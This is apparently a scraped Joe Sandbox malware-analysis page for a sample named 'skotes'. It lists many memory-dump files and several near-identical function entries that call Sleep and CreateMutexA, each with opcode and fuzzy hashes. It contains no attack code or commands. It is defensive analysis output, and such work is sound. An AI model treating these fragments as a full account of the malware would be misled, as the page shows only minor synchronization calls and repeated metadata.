Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e667f21fed368d3f9bafb91eb3fc3257310230e793863ce2507780a03e681f29
Instruction ID: 8f201eaf3965ea16ec6396e39e8ae4cdd08ad14d04316d936a36bc313e5279e2
Opcode Fuzzy Hash: e667f21fed368d3f9bafb91eb3fc3257310230e793863ce2507780a03e681f29
Instruction Fuzzy Hash: BA317B317941019BEB08DBBCCC89BADB776EBC2310F24C61AE428973D1C73699908752

Function 009DA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a0ce128b561d80cdfd71dd8465a0ae814dc6a84516682199f92c596c017ae4cc
Instruction ID: 438ce3587070d69ab6d7f9eca9997de9bb5a6c3966a42a3787fec9db4a88de5d
Opcode Fuzzy Hash: a0ce128b561d80cdfd71dd8465a0ae814dc6a84516682199f92c596c017ae4cc
Instruction Fuzzy Hash: 2F316C317441419BEB08DBBDDCCD7ADB776ABC6310F20861AE024A73D1C77599908752

Function 009DA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c113d90053564a495b5e554d5cf5f4d2476c75ca1ba139cf30a1c75bddf102fd
Instruction ID: b73f4ba444f0f0a3f9cd098da6b6974d2f5f5f28698d511be2b9a50403d73c55
Opcode Fuzzy Hash: c113d90053564a495b5e554d5cf5f4d2476c75ca1ba139cf30a1c75bddf102fd
Instruction Fuzzy Hash: 943148317801019BEB08ABBCDD9DBADB766EFC1314F20821AF428A73E5C77589908652

Function 009DA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c8476f095ce9157bbaf898910f589e94356e987c0e72241b71cade5ae01979be
Instruction ID: b9fd1c6cc4d1cf7bbcbfe11375d8a915ce5385f6cd28175b6910e9814f0b51b7
Opcode Fuzzy Hash: c8476f095ce9157bbaf898910f589e94356e987c0e72241b71cade5ae01979be
Instruction Fuzzy Hash: 3A3168317841018BEB08EBB9DC99BADB766EBC5314F24C61AF418AB3D1C779C9908712

Function 009DA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 03a02f9b1383951ed41cd59c934c80f8aa7a7963cf80b4149c908a45bae7b4df
Instruction ID: a0c4f5bb5bdcff4c048d490dc51851e14e0620faf98af390b8821505adbe5425
Opcode Fuzzy Hash: 03a02f9b1383951ed41cd59c934c80f8aa7a7963cf80b4149c908a45bae7b4df
Instruction Fuzzy Hash: 0D315931B44141DBEB08DBBDDC99BADB7B6EBC1310F24C61AE428A73D1C77589908752

Function 009D9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

